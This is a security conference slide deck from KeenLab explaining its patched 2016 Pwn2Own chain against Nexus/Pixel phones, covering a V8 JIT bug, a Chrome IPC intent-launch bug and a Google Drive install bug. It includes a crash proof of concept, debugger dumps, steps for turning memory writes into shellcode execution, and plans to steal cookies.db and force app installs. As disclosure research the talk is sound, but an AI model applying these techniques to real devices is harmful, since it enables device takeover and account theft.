Pwning the Nexus™ of Every Pixel™

Qidan He
Credits also to: Gengming Liu

*Nexus and Pixel are registered trademarks of Google Inc.*
#whoami

- **Qidan He**
  - Senior Security Researcher at KeenLab
  - Apple/Android/Chrome CVE hunter (“frequent creditor”)
  - Speaker at BlackHat USA/ASIA, DEFCON, RECON, CanSecWest, HITCON, QMSS
  - Pwn2Own 2016/ Mobile Pwn2Own 2016 winner

- **Gengming Liu**
  - Security Researcher Intern at KeenLab
  - CTF enthusiastic, DEFCON CTF final player
  - Captain of AAA CTF team
  - Mobile Pwn2Own 2016 winner
About Tencent Keen Security Lab

• Previously known as KeenTeam
• 2016 PC/Mobile Master of Pwn
• Pwn2Own champions in 2013, 2014, 2015, 2016, (2017 currently running)
• Pwnie Nominations in 2015, 2016
TL;DR: How we pwned newest Nexus6P/Pixel running Nougat

• Three bugs forms a complete exploit chain
  • One V8 bug to compromise the renderer
  • One IPC bug to escape sandbox
  • One bug in gapps allows app install

• Google response very quickly
  • V8 and IPC bug fixed in midnight of 10.26 (CVE-2016-5197 and CVE-2016-5198)
  • Gapp update pushed in 10.27 (Google VRP credit)
Agenda

• Introduction and Exploitation of V8 engine
• Introduction and Exploitation of sandbox on Android
• How we pwned Nexus/Pixel on Mobile Pwn2Own 2016 with 3 bugs
  • CVE-2016-5197/5198/GoogleVRP bug
History of classical Chrome exploits

- MWR Labs, Pwn2Own 2013
  - Type-confusion in webkit
  - Arbitrary zero write in IPC::OnContentBlocked
- Pinkie Pie, Mobile Pwn2Own 2013
  - Runtime_TYPED_ARRAY_INITIALIZER_FROM_ARRAY_LIKE for renderer code execution
  - Arbitrary free in ClipboardHostMsg_WriteObjectsAsync
- Geohot in Pwnium 4
  - Property redefinition lead to OOB read/write in renderer
  - Spoof IPC Message to vulnerable extension in privileged domain
- Lokihart in Pwn2Own 2015
  - TOCTOU in GPU process sharedmemory
- Juri In Pwn2Own 2015
  - UAF in P2PSocketDispatcherHost
V8 Javascript Engine

- Widely known and used
- Runtime optimization and JIT to machine code
  - Strongtalk
  - Crankshaft
  - Turbofan
Object structure in V8
var a = new ArrayBuffer(0x6161)

0x2036cb90a089: [JSArrayBuffer]
- map = 0xebbd6702db1 [FastProperties]
- prototype = 0x32cfe5005599
- elements = 0x1b6415782241 <FixedArray[0]>
  [FAST_HOLEY_SMI_ELEMENTS]
- internal fields: 2
- backing_store = 0x5652757bea60
- byte_length = 24929
- properties = {
}
- internal fields = {
0
0
}
var a = new ArrayBuffer(0x6161)

0x2036cb90a089: [JSArrayBuffer]
- map = 0xebbd6702db1 [FastProperties]
- prototype = 0x32cfe5005599
- elements = 0x1b6415782241 <FixedArray[0]>

[FAST_HOLEY_SMI_ELEMENTS]
- internal fields: 2
- backing_store = 0x5652757bea60
- byte_length = 24929
- properties = {
  }
- internal fields = {
  0
  0
}

pwndbg$ x/30xg 0x00002036cb90a088
0x2036cb90a088: 0x00000ebbd6702db1
0x00001b6415782241

0x2036cb90a098: 0x00001b6415782241
0x0000616100000000
0x2036cb90a0a8: 0x00005652757bea60
0x0000000000000004

, members of (anonymous namespace)::(anonymous namespace)::JSONObject:
  static kMaxElementCount = 0xffffffff,
  static kMaxGap = 0x400,
  static kMaxUncheckedFastElementsLength = 0x1388,
  static kMaxUncheckedOldFastElementsLength = 0x1f4,
  static kInitialGlobalObjectUnusedPropertiesCount = 0x4,
  static kMaxInstanceSize = 0x7f8,
  static kFieldsAdded = 0x3,
  static kElementsOffset = 0x30,
  static kHeaderSize = 0x18
}, members of (anonymous namespace)::(anonymous namespace)::JSArrayBuffer:
  static kByteLengthOffset = 0x18,
  static kBackingStoreOffset = 0x20,
  static kBitFieldSlot = 0x28,
  static kBitFieldOffset = 0x28,
  static kSize = 0x30,
  static kSizeWithInternalFields = 0x40
Boxing in V8

- Float&Double encapsulated in V8 heap
  - HeapNumber object
  - vmovsd QWORD PTR [rax+0x7],xmm0

- SMI
  - 31 bit integer with lowest bit set to 0

- Tagged pointer

```cpp
// The HeapNumber class describes heap allocated numbers that cannot be // represented in a Smi (small integer)
class HeapNumber: public HeapObject {
public:
  // [value]: number value.
  inline double value() const;
  inline void set_value(double value);

  inline uint64_t value_as_bits() const;
  inline void set_value_as_bits(uint64_t bits);
};
```
CVE-2016-5198 – Chain of Bugs #1

• Found by KeenLab and used for Mobile Pwn2Own 2016
• Affects all engines based on V8 and applications with Webview
How we exploited CVE-2016-5198
chromium / v8 / v8 / 2bd7464ec1efc9eb24a38f7400119a5f2257f6e6^! /.

commit 2bd7464ec1efc9eb24a38f7400119a5f2257f6e6
author bmeurer <bmeurer@chromium.org> Wed Oct 26 13:43:45 2016
committer Commit bot <commit-bot@chromium.org> Wed Oct 26 13:44:03 2016
tree 9e78bb50d9a4341100632160197b82f1598bbb18
parent a7a350012c05f644f3f373fb48d7ac72f7f60542 [diff]

[compiler] Properly validate stable map assumption for globals.

For global object property cells, we did not check that the map on the previous object is still the same for which we actually optimized. So the optimized code was not in sync with the actual state of the property cell. When loading from such a global object property cell, Crankshaft optimizes away any map checks (based on the stable map assumption), leading to arbitrary memory access in the worst case.

TurboFan has the same bug for stores, but is safe on loads because we do appropriate map checks there. However mixing TurboFan and Crankshaft still exposes the bug.

R=yangguo@chromium.org
BUG=chromium:659475

Review-Url: https://codereview.chromium.org/2444233004
Cr-Commit-Position: refs/heads/master@{#40592}
JIT workflow overview

- JIT compiler modes
  - Interpret mode – on startup, naïve, slow, safe
  - Optimized mode – after profiling, fast

- Optimized code generated according to type-info collected

- What if object type changed?
  - map type check will fail - Deoptimize and regenerate
Deoptimization

• Eager Deoptimization
  • Usually seen in function argument checks
  • Bail out to interpreter mode immediately

• Lazy Deoptimization
  • Usually seen on global object access
  • Who changes the object is responsible for patching following users
    • What if itself is also JITed?
OOB in Optimized JIT code
function Ctor() {
    n = new Set();
}
function Check() {
    n.xyz = 0x826852f4;
    parseInt('AAAAAAA');
}
for (var i=0; i<2000; ++i) {
    Ctor();
}
for (var i=0; i<2000; ++i) {
    Check();
}
Ctor();
Check();
%OptimizeFunctionOnNextCall(Ctor);
Ctor();
Check();
Check();
%OptimizeFunctionOnNextCall(Check);
Check();
Ctor();
Check();
parseInt('AAAAAAA');
print("finish");
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

```
RAX: 0x4141414141414141 ('AAAAAAA')
R8X: 0x7ffffff73feabcdef0 (<{anonymous namespace}::(anonymous namespace)::Runtime_StringParseInt(int, (anonymous namespace)::(anonymous namespace)::Object**
RDX: 0x7ffffff7bb40a3 --> 0x0
RCX: 0x7ffffff7f5cafe --> 0x0
RDX: 0x358795ab239 --> 0x200001decff7023
RDI: 0x358795ab239 --> 0x200001decff7023
RBX: 0x7fffffffe4d10 --> 0x7fffffff580 --> 0x7fffffff5f0 --> 0x7fffffff618 --> 0x7fffffff629
RBP: 0x7fffffffe4d00 --> 0x1000000291ab239
RIP: 0x7fffffffdode05 (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+8394) mov QWORD PTR [rax]
R8 : 0x55555563d3e0 --> 0x358795183951 --> 0x1decff702c
R9 : 0x7d0000000000
R10: 0x55555563d380 --> 0x7ffffffb52c60 --> 0x29f
R11: 0xd9e19802311 --> 0x1decff7024
R12: 0x55555556758c (<start>: xor ebp,ebp)
R13: 0x55555556d018 --> 0x1decff702781 --> 0x1decff7022
R14: 0x2
R15: 0x7fffffffe630 --> 0x3587951ab239 --> 0x200001decff7023
RFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
```

```
0x7fffffffe98 (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+8>: mov QWORD PTR [rbp-0x8],rdi
0x7fffffffe9c (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+12>: mov rdi,QWORD PTR [rbp-0x8]
0x7fffffffead0 (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+16>: call 0x7ffffffae99e00 (<{anonymous namespace}::
0x7fffffffead5 (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+21>: mov rdi,QWORD PTR [rax]
0x7fffffffead8 (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+24>: mov QWORD PTR [rbp-0x10],rdi
0x7fffffffeadec (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+28>: mov rdi,rax
0x7fffffffedaf (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+31>: mov rax,QWORD PTR [rbp-0x10]
0x7fffffffedb3 (<{anonymous namespace}::(anonymous namespace)::ExternalOneByteString::GetChars()+36>: call QWORD PTR [rax+0x20]
```
What JIT does?
Optimized code for Ctor

```
0x2b554238690c  76  e8ef3ef3ff  call Construct (0x2b55422ba800) ; code: BUILTIN
0x2b5542386911  81  a801  test al,0x1
0x2b5542386913  83  0f8458000000  jz 177 (0x2b5542386971)
0x2b5542386919  89  49ba09657840f8340000  REX.W movq r10,0x34f840786509 ; object: 0x34f840786509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0x2b5542386923  99  4c3950ff  REX.W cmpq [rax-0x1],r10
0x2b5542386927  103  0f8549000000  jnz 182 (0x2b5542386976)
0x2b554238692d  109  48bc1bf72590170000  REX.W movq rbx,0x17901572bfc1 ; object: 0x17901572bfc1 PropertyCell for 0x10f25cb142c9 <a
0x2b5542386937  119  4889430f  REX.W movq [rbx+0xf],rax
```
Non-optimized code for func `Check`
optimized code for func `Check`

```
compiler = crankshaft
Instructions (size = 186)
0x2b5542387220 0 55 push rbp
0x2b5542387221 1 489e5 REX.W movq rbp,rsp
0x2b5542387224 4 56 push rsi
0x2b5542387225 5 57 push rdi
0x2b5542387226 6 4883ec08 REX.W subq rsp,0x8
0x2b554238722a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x2b554238722e 14 48895e58 REX.W movq [rbp-0x18],rax
0x2b5542387232 18 488bf0 REX.W movq rsi,rax
0x2b5542387235 21 493b0550c0000 REX.W cmpq rsp,[r13+0xc50]
0x2b554238723c 28 7305 jnc 35 (0x2b5542387243)
0x2b554238723e 30 e8d54f5ff call StackCheck (0x2b55422dc700) ;; code: BUILTIN
0x2b5542387243 35 48b8c1fb721590170000 REX.W movq rax,0x1701572bcfc1 ;; object: 0x1701572bcfc1 PropertyCell for 0x10f25cb54631
0x2b554238724d 45 48bb40ff REX.W movq rax,[rax+0xf]
0x2b5542387251 49 49bc0000800e04de041 REX.W movq r10,0x41e04d0a5e80000
0x2b554238725b 59 c4c1f6e0 Rmovq xmm0,10
0x2b5542387260 64 48bb4007 REX.W movq rax,[rax+0x7]
0x2b5542387264 68 48bb400f REX.W movq rax,[rax+0xf]
0x2b5542387268 72 c5f11400 Rmovsvd [rax+0x7],xmm0
0x2b554238726d 77 49ba1123c0f5971f0000 REX.W movq r10,0xf97f5c032311 ;; object: 0xf97f5c032311 <undefined>
0x2b5542387277 87 4152 push r10
0x2b5542387279 89 49ba39b2721590170000 REX.W movq r10,0x1701572b239 ;; object: 0x1701572b239 <String[8]: AAAAAAAAA>
0x2b5542387283 99 4152 push r10
0x2b5542387285 101 48bbf5d8701590170000 REX.W movq rdi,0x1701570d851 ;; object: 0x1701570d851 <JS Function parseInt (SharedFun>
0x2b554238728f 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0x2b5542387293 115 488b7727 REX.W movq rsi,[rdi+0x27]
0x2b5542387297 119 498b55c0 REX.W movq rdx,[r13-0x60]
0x2b554238729b 123 b801000000 movl rax,0x1
0x2b55423872a0 128 bb02000000 movl rbx,0x2
0x2b55423872a5 133 e83e9e9e9e call ArgumentsAdaptorTrampoline (0x2b5542285be0) ;; code: BUILTIN
0x2b55423872aa 138 48b81123c0f5971f0000 REX.W movq rax,0xf97f5c032311 ;; object: 0xf97f5c032311 <undefined>
0x2b55423872b4 148 48be5 REX.W movq rbp,rbp
0x2b55423872b7 151 5d pop rbp
0x2b55423872b8 152 c20800 ret 0x8
0x2b55423872bb 155 90 nop
```
0x3f938587243 35 48b8c1bf4a339d070000 REX.W movq rax,0x79d334abfc1 ;; object: 0x79d334abfc1 PropertyCell for 0x130199d54631 <a Set with map 0x1ffdd430c391>

0x3f93858724d 45 488b400f REX.W movq rax,[rax+0xf]

#js: Get global variable n
n.xyz = 0x826852f4
Heap number
overwrite

compiler = crankshaft
Instructions (size = 186):

0x2b5542387220 0 55 push rbp
0x2b5542387221 1 4889e5 REX.W movq rbp,rsp
0x2b5542387224 4 56 push rsi
0x2b5542387225 5 57 push rdi
0x2b5542387226 6 4883ec08 REX.W subq rsp,0x8
0x2b554238722a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x2b554238722e 14 488995e8 REX.W movq [rbp-0x18],rax
0x2b5542387232 18 488bf0 REX.W movq rsi,rax
0x2b5542387235 21 493ba5500c0000 REX.W cmpq rsp,[r13+0xc50]
0x2b554238723c 28 7305 jnc 35 (0x2b5542387243) ; code: BUILTIN
0x2b554238723e 30 e8bd54f5f call StackCheck (0x2b55422dc700) ; code: BUILTIN
0x2b5542387243 35 48b8c1bf721590170000 REX.W movq rax,0x17901572bf1c1 ; object: 0x17901572bf1 PropertyCell for 0x10f25cb54631
0x2b554238724d 45 488b400f REX.W movq rax,[rax+0xf]
0x2b5542387251 49 49bc0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x2b554238725b 59 c41f96ec2 vmovq xmm0,r10
0x2b5542387260 64 488b4007 REX.W movq rax,[rax+0x7]
0x2b5542387264 68 488b400f REX.W movq rax,[rax+0xf]
0x2b5542387268 72 c5fb114007 vmovsd [rax+0x7],xmm0
0x2b554238726d 77 49baa1123c0f5971f0000 REX.W movq r10,0x1f97f5c02311 ; object: 0x1f97f5c02311 <undefined>
0x2b5542387272 87 4152 push r10
0x2b5542387277 89 49ba39b2721590170000 REX.W movq r10,0x17901572b239 ; object: 0x17901572b239 <String[8]: AAAAAAAA>
0x2b554238727d 99 4152 push r10
0x2b5542387282 101 488bf51d8701590170000 REX.W movq rdi,0x17901570d851 ; object: 0x17901570d851 <JS Function parseInt (SharedFun>
0x2b5542387284 111 48875e8 REX.W movq rsi,[rbp-0x18]
0x2b554238728a 115 488b7777 REX.W movq rsi,[rdi+0x27]
0x2b554238728e 119 49855a0 REX.W movq rdx,[r13-0x60]
0x2b5542387291 123 b801000000 movl rax,0x1
0x2b5542387293 128 bb000000 movl rbx,0x2
0x2b5542387294 132 e83e9eff call ArgumentsAdaptorTrampoline (0x2b5542285be0) ; code: BUILTIN
0x2b5542387296 138 488b11123c0f5971f0000 REX.W movq rax,0x1f97f5c02311 ; object: 0x1f97f5c02311 <undefined>
0x2b554238729b 148 488be5 REX.W movq rsp,rbp
0x2b554238729d 151 5d pop rbp
0x2b554238729e 152 c2000 ret 0x8
0x2b554238729f 155 90 nop
No map type check

• Optimized code assumes the object already have property
However...

• What if the object is changed and it doesn’t have property now?
• And the map check is eliminated in generated code...
  • ASSUMPTION INVALID!
Exploitation Steps

- OOB write chars field of null string to leak ArrayBuffer address
- Overwrite ArrayBuffer `backing_store` to leak Function code address
- Overwrite ArrayBuffer `backing_store` with Function code address
- Write shellcode to ArrayBuffer and exec!
Primitives

• Write primitive:
  • Sequential write
    • n.b = 0x31337
  • HeapNumber write
    • *(p + 8) = v

• Read primitive
  • ArrayBuffer storage is our friend
    • Heapnumber overwrite ArrayBuffer_len_ptr (storage-8)
  • But first ... leak an ArrayBuffer address to know where to write to

• Use #null string to cold start!
#null string as cold start – Run #1

- OOB write null string length
- OOB write `chars` field
  - `m.d = ab (new ArrayBuffer)`
  - `new String(null)`
    - `charCodeAt` for each byte
    - `ArrayBuffer` and #null string address leaked!
- Turn limited sequential write into arbitrary address write
m.c = 0x200000

m.a = m.a
unchanged

m.e = ab
overwritten

var ab = new ArrayBuffer(40000);

Note: can assign object to field but cannot directly assign Pointer to field e.g. `hashcode` (will dereference field as Pointer wrapped as float in 64bit!)

m.d = null_str
null string as cold start – Run #2

- Perform HeapNumber overwrite in next optimization run
  - \( m.d = \text{unpackIEEE754}(ab\_len\_addr) \)
var ab = new ArrayBuffer(40000);
m.d = *float*(ab_len_ptr);

m.c = 0x200000
m.a = m.a
unchanged overwritten

Map length:0 Map (Overwritten) length chars (Now #null pointer) chars (Now ab ptr)

Empty FixedArray Null string

Map Properties Elements length storage
Play with Function – Run #3

- **Function** allocated at beginning
- \( ab\_storage\_ptr = ab\_len\_ptr + 8 \)
  - \( m.b = \text{unpackIEEE754}(\text{addr\_of\_code} - 8) \)
  - Can arbitrary read now... Read what?
- During startup Function address also lies before ArrayBuffer
- HeapNumber overwrite \(*ab\_storage\_ptr = \text{code\_loc} - 8\)
- \( \text{Code\_ptr} = ab[3] \ll 32 + ab[2] \)
```javascript
m.c = 0x200000
m.a = m.a

var ab = new ArrayBuffer(40000);
```
Play with Function – Final run

- $m.b = \text{unpackIEEE754}(\text{code\_ptr})$
- $\ast \text{ab\_storage\_ptr} = \text{code\_ptr}$
- Write shellcode with ab access
- Call Function
- Game over! 😊
m.c = 0x200000
m.a = m.a

Map length:0 Map Map Map
unchanged overwritten

Empty FixedArray Null string
m.e = *float*(code_ptr)

var ab = new ArrayBuffer(40000);
Write your shellcode on new Uint32Array(ab)!
So renderer code execution got...

• Now what?
The anatomy of Chrome sandbox

- All untrusted code runs in Target process
- Relay most operations to Broker
- Try best to
  - lock down the capabilities of renderer
- Even renderer is compromised
  - Access is still strictly prohibited
- GPU process have higher level access
  - Than normal sandbox process
Process privileges in Android
State-of-art defense of Android sandbox

- DAC introduced by nature of Linux
- IsolatedProcess introduced in JellyBean
- SELinux enforced in KitKat
  - Further restricted in subsequent release
So... How do we escape the sandbox in Mobile Pwn2Own 2016?
Chain of Bugs #2
Webview in app is not isolated

• Webview still runs in the same uid/process as ordinary app
• Find some app which accepts controlled-URL to attack
• Oops.. No BROWSABLE ones... but we have IPC bug to rescue!
void RenderViewImpl::LaunchAndroidContentIntent(const GURL& intent, size_t request_id, bool is_main_frame) {
if (request_id != expected_content_intent_id_)
    return;

    // Remove the content highlighting if any.
    ScheduleComposite();

    if (!intent.is_empty()) {
        base::RecordAction(base::UserMetricsAction("Android.ContentDetectorActivated");
        Send(new ViewHostMsg_StartContentIntent(GetRoutingID(), intent, is_main_frame));
    }
} // src/content/renderer/renderer_view_impl.cc
bool RenderWidgetHostViewAndroid::OnMessageReceived(const IPC::Message& message) {
    //...
    bool handled = true;
    IPC_BEGIN_MESSAGE_MAP(RenderWidgetHostViewAndroid, message)
    IPC_MESSAGE_HANDLER(ViewHostMsg_StartContentIntent, OnStartContentIntent)
    IPC_MESSAGE_HANDLER(ViewHostMsg_SmartClipDataExtracted, OnSmartClipDataExtracted)
    IPC_MESSAGE_HANDLER(ViewHostMsg_ShowUnhandledTapUIIfNeeded, OnShowUnhandledTapUIIfNeeded)
    IPC_MESSAGE_UNHANDLED(handled = false)
    IPC_END_MESSAGE_MAP()
    return handled;
}
public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
    Intent intent; // Perform generic parsing of the URI to turn it into an Intent.
    try {
        intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
        String scheme = intent.getScheme();
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    } catch (Exception ex) {
        Log.w(TAG, "Bad URI %s", intentUrl, ex);
        return;
    }
    try {
        context.startActivity(intent);
    } catch (ActivityNotFoundException ex) {
    }
}

CVE-2016-5197
Arbitrary intent start in broker
Add scheme whitelist for content intents

Add a whitelist for content intents sent when the user taps on an address, email address, or phone number.

BUG=659477
TBR=aelias@chromium.org

Review URL: https://codereview.chromium.org/2455753002 .

Review-Url: https://codereview.chromium.org/2448363003
Cr-Original-Commit-Position: refs/heads/master@{#427758}
Cr-Commit-Position: refs/branch-heads/2840@{#778}
Cr-Branched-From: 1ae106dbab4bddd85132d5b75c670794311f4c57.refs/heads/master@{#414607}

cve-2016-5197
By KeenLab
Mobile Pwn2Own Chain of Bugs #3

• See that holy Google Drive
• Have full access to Google account
• Trusted by Google Play
  • To “install” app
• Blindly opens any intent-controlled URL
• Pwn it to jump from isolated to untrusted
  • Plus App installation ability!
Sandbox (runs v8)
(isolated_app)

Broker
(untrusted_app)

startContentIntent
String

Google Drive (Runs v8)
OpenUrlActivity

Intent with payload URL

`Click` IPCs

Intent is added Browsable
Chain it all together

- Use CVE-2016-5198 to gain control of renderer in Chrome browser
  - Note: Chrome on Android currently is 32bit
- Search for IPC objects, issue `ViewHostMsg_StartContentIntent` request
- Jump to Google Drive, open EXP page again
  - Note: Google Drive is a 64bit app so its webview is also 64bit
- Got a shell in untrusted_app context from Google Drive
  - Reload play.google.com, upload cookies.db in app data directory
  - Or just send intent to GooglePlay app for it to install
- Send install app request, wait for BOOM
Mitigations?

• Forbid opening untrusted URLs (temp solution)
• Webview multiprocess as long term solution
  • But how about devices pre-N?
• On-device confirmation when installing from play.google.com?
Further thought

- Is it possible to apply webview sandboxing at application level in pre-N devices?
DEMO
Acknowledgements

• All colleagues at KeenLab
Questions?